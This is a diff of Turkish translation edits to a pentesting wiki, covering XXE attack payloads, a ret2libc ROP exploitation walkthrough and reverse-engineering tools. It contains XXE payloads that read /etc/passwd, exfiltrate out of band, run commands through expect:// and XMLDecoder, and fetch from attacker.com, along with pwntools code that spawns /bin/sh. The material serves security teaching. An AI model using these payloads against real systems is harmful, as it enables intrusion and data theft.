2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır.
|
||||
@ -251,13 +251,13 @@ PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci b
|
||||
4. Arşiv içindeki belirli dosya, `file.zip`, okunur.
|
||||
5. İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir.
|
||||
|
||||
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz bir süre açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
|
||||
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuza kadar açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Geçici bir dizine dosya yazmak, **bir yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (örneğin, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb).
|
||||
> Geçici bir dizine dosya yazmak, **bir yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir** (yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb. gibi).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -288,13 +288,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
```
|
||||
#### Quadratic Blowup Attack
|
||||
#### Kuadratik Patlama Saldırısı
|
||||
|
||||
.png>)
|
||||
|
||||
#### NTML Alma
|
||||
|
||||
Windows hostlarında, bir responder.py handler'ı ayarlayarak web sunucusu kullanıcısının NTML hash'ini almak mümkündür:
|
||||
Windows sunucularında, bir responder.py işleyicisi ayarlayarak web sunucusu kullanıcısının NTML hash'ini almak mümkündür:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -310,7 +310,7 @@ Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz.
|
||||
|
||||
### XInclude
|
||||
|
||||
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafından üretilen bir XML belgesindeki verilerin bir kısmı kontrol edilebildiğinde bile etkilidir.
|
||||
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından üretilen bir XML belgesindeki verilerin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
|
||||
|
||||
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanı beyan edilmeli ve hedef dış varlık için dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır:
|
||||
```xml
|
||||
@ -322,7 +322,7 @@ Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portsw
|
||||
|
||||
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır.
|
||||
|
||||
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatlar bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
|
||||
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
|
||||
|
||||
Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir:
|
||||
```xml
|
||||
@ -334,7 +334,7 @@ Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
SVG format, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
SVG format, sunucu yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
|
||||
|
||||
@ -348,7 +348,7 @@ Aşağıdaki gönderiyi okuyarak **bir PDF dosyasını yükleyerek XXE'yi nasıl
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Content-Type: x-www-urlencoded'dan XML'e
|
||||
### İçerik Türü: x-www-urlencoded'dan XML'e
|
||||
|
||||
Eğer bir POST isteği verileri XML formatında kabul ediyorsa, o istekte bir XXE'yi istismar etmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
|
||||
```xml
|
||||
@ -408,7 +408,7 @@ Bu yalnızca XML sunucusu `data://` protokolünü kabul ederse çalışır.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Burada \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için kullanabilirsiniz.
|
||||
Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -444,7 +444,7 @@ DTD örneği:
|
||||
%abt;
|
||||
%exfil;
|
||||
```
|
||||
## PHP Sarıcılar
|
||||
## PHP Sarıcıları
|
||||
|
||||
### Base64
|
||||
|
||||
@ -500,7 +500,7 @@ Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bil
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren bir kayıt Burp Collaborator'da kaydedilir.
|
||||
Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir düzeyde etkileşim olduğunu gösterir.
|
||||
|
||||
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
|
||||
```
|
||||
@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır.
|
||||
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır.
|
||||
|
||||
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
|
||||
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için, Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Sunucu, önemli bir şekilde mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor ve sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor:
|
||||
Sunucu, mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor, bu da sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -563,7 +563,7 @@ Saldırganın sunucusuna basit HTTP isteği
|
||||
</channel>
|
||||
</rss>
|
||||
```
|
||||
### Dosya oku
|
||||
### Dosyayı oku
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -609,7 +609,7 @@ PHP base64 filtresi kullanarak
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde edecektir.
|
||||
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder.
|
||||
|
||||
### Using Runtime().exec()
|
||||
```xml
|
||||
@ -671,13 +671,17 @@ XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır
|
||||
</void>
|
||||
</java>
|
||||
```
|
||||
## Araçlar
|
||||
## XXE + WrapWrap + Lightyear + bypasses
|
||||
|
||||
Bu harika rapora bir göz atın [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||||
|
||||
## Tools
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
1. **Taşma** **ofsetini** **bul**
|
||||
2. **POP_RDI** gadget'ını, `PUTS_PLT` ve `MAIN`'i **bul**
|
||||
3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me))
|
||||
4. Kütüphane ile, **ROP'u hesapla ve istismar et**
|
||||
4. Kütüphane ile, **ROP'u hesapla ve bunu kullanarak istismar et**
|
||||
|
||||
## Pratik için diğer eğitimler ve ikili dosyalar
|
||||
|
||||
@ -35,7 +35,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
## ROP - LIBC Sızıntı Şablonu
|
||||
|
||||
Saldırıyı gerçekleştirmek için burada bulunan kodu kullanacağım.\
|
||||
Saldırıyı indirin ve bunu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin:
|
||||
Saldırıyı indirip, savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
@ -58,7 +58,7 @@ r.sendline(payload)
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
```
|
||||
**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolunda** `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al:
|
||||
**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al:
|
||||
```python
|
||||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
@ -84,14 +84,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
|
||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
`PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\
|
||||
`MAIN_PLT`, bir etkileşimden sonra **main function**'ı tekrar çağırmak için gereklidir, böylece taşmayı **tekrar** **istismar** edebiliriz (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\
|
||||
`MAIN_PLT`, bir etkileşimden sonra **overflow**'u **tekrar** **istismar** etmek için **ana fonksiyonu** tekrar çağırmak için gereklidir (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır**.\
|
||||
**POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir.
|
||||
|
||||
Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır.
|
||||
|
||||
## 3- libc kütüphanesini bulma
|
||||
|
||||
Artık hangi sürümde **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından o adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız.
|
||||
Artık hangi sürümde **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından o adreste hangi **kütüphane sürümü** içinde puts sürümünün bulunduğunu **arama** yapacağız.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
@ -125,11 +125,11 @@ Bunu yapmak için, yürütülen kodun en önemli satırı şudur:
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\
|
||||
Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydında saklanacaktır. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\
|
||||
Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydına kaydedilecektir. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\
|
||||
Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki içeriği (**puts fonksiyonunun bellek içindeki adresi**) **okuyacak** ve **yazdıracaktır**.\
|
||||
Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz.
|
||||
|
||||
Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesi içindeki **puts** fonksiyonunun bellek içindeki adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**.
|
||||
Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesi içinde bulunan **puts** fonksiyonunun bellek içindeki adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -182,13 +182,13 @@ __libc_start_main
|
||||
read
|
||||
gets
|
||||
```
|
||||
## 4- Bulunma tabanlı libc adresi ve istismar
|
||||
## 4- Bulunma temelli libc adresi ve istismar
|
||||
|
||||
Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
Bu noktada kullandığımız libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
|
||||
Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şu şekilde değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın`
|
||||
|
||||
**libc kütüphanesine** **yolu** vererek, **istismarın geri kalanı otomatik olarak hesaplanacaktır**.
|
||||
**libc kütüphanesine** **yolu** vererek, geri kalan **istismar otomatik olarak hesaplanacaktır**.
|
||||
|
||||
`get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacaktır:
|
||||
```python
|
||||
@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address))
|
||||
> [!NOTE]
|
||||
> **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz.
|
||||
|
||||
Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc**'nin **temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir.
|
||||
Daha sonra, `system` fonksiyonunun adresi ve _"/bin/sh"_ dizesinin **adresleri**, **libc**'nin **temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir.
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||
SYSTEM = libc.sym["system"]
|
||||
@ -208,7 +208,7 @@ EXIT = libc.sym["exit"]
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
```
|
||||
Sonunda, /bin/sh yürütme istismarı hazırlanacak.
|
||||
Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek:
|
||||
```python
|
||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||
|
||||
@ -219,26 +219,26 @@ p.sendline(rop2)
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
Son ROP'u açıklayalım.\
|
||||
Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **overflow**'u **yeniden istismar edebiliriz** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"**'nin **adresine** işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü **"/bin/sh"**'nin adresi bir parametre olarak geçecektir.\
|
||||
Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde** **sonlanır** ve herhangi bir uyarı üretilmez.
|
||||
Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **addres** _"/bin/sh"_ (`BINSH`) işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçilecektir.\
|
||||
Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzelce çıkar** ve herhangi bir uyarı üretilmez.
|
||||
|
||||
**Bu şekilde istismar bir \_/bin/sh**\_\*\* shell'i çalıştıracaktır.\*\*
|
||||
**Bu şekilde istismar bir _/bin/sh**_ shell'i çalıştıracaktır.**
|
||||
|
||||
.png>)
|
||||
|
||||
## 4(2)- ONE_GADGET KULLANMA
|
||||
## 4(2)- ONE_GADGET KULLANARAK
|
||||
|
||||
Ayrıca, **system** ve **"/bin/sh"** kullanmak yerine bir shell elde etmek için [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanabilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\
|
||||
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.
|
||||
Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\
|
||||
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.
|
||||
|
||||
.png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
## İSTİSMAR DOSYASI
|
||||
## EXPLOIT DOSYASI
|
||||
|
||||
Bu güvenlik açığını istismar etmek için bir şablon burada bulunabilir:
|
||||
Bu güvenlik açığını istismar etmek için bir şablonu burada bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
|
||||
@ -14,7 +14,7 @@ Yazılım:
|
||||
|
||||
- **wasm** (ikili) formatından **wat** (düz metin) formatına **decompile** etmek için [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kullanın
|
||||
- **wat** formatından **wasm** formatına **compile** etmek için [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kullanın
|
||||
- Ayrıca **decompile** etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı deneyebilirsiniz
|
||||
- Ayrıca decompile etmek için [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kullanmayı deneyebilirsiniz
|
||||
|
||||
Yazılım:
|
||||
|
||||
@ -42,8 +42,8 @@ Kapsamlı bir eklenti modeli ve aracı tam ihtiyaçlarınıza uyacak şekilde ge
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (VSCode'dan doğrudan yükleyebilirsiniz, git indirmeye gerek yok. **Extensions**'a tıklayın ve **ILSpy**'yi arayın).\
|
||||
**decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya onun aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Method'u Değiştir** ile bir fonksiyonun içindeki bir şeyi değiştirebilirsiniz).
|
||||
[Visual Studio Code için ILSpy eklentisi](https://github.com/icsharpcode/ilspy-vscode): Herhangi bir işletim sisteminde kullanabilirsiniz (doğrudan VSCode'dan yükleyebilirsiniz, git indirmeye gerek yok. **Extensions**'a tıklayın ve **ILSpy**'yi arayın).\
|
||||
Eğer **decompile**, **modify** ve tekrar **recompile** etmeniz gerekiyorsa [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) veya onun aktif olarak bakımı yapılan bir çatalı olan [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) kullanabilirsiniz. (**Sağ Tık -> Modify Method** ile bir fonksiyonun içinde bir şeyi değiştirebilirsiniz).
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
@ -78,9 +78,9 @@ Ardından yeni dosyayı _**File >> Save module...**_ ile kaydedin:
|
||||
|
||||
.png>)
|
||||
|
||||
Bu gereklidir çünkü bunu yapmazsanız, **runtime** sırasında koda birkaç **optimizasyon** uygulanacak ve hata ayıklama sırasında bir **break-point asla vurulmayabilir** veya bazı **değişkenler mevcut olmayabilir**.
|
||||
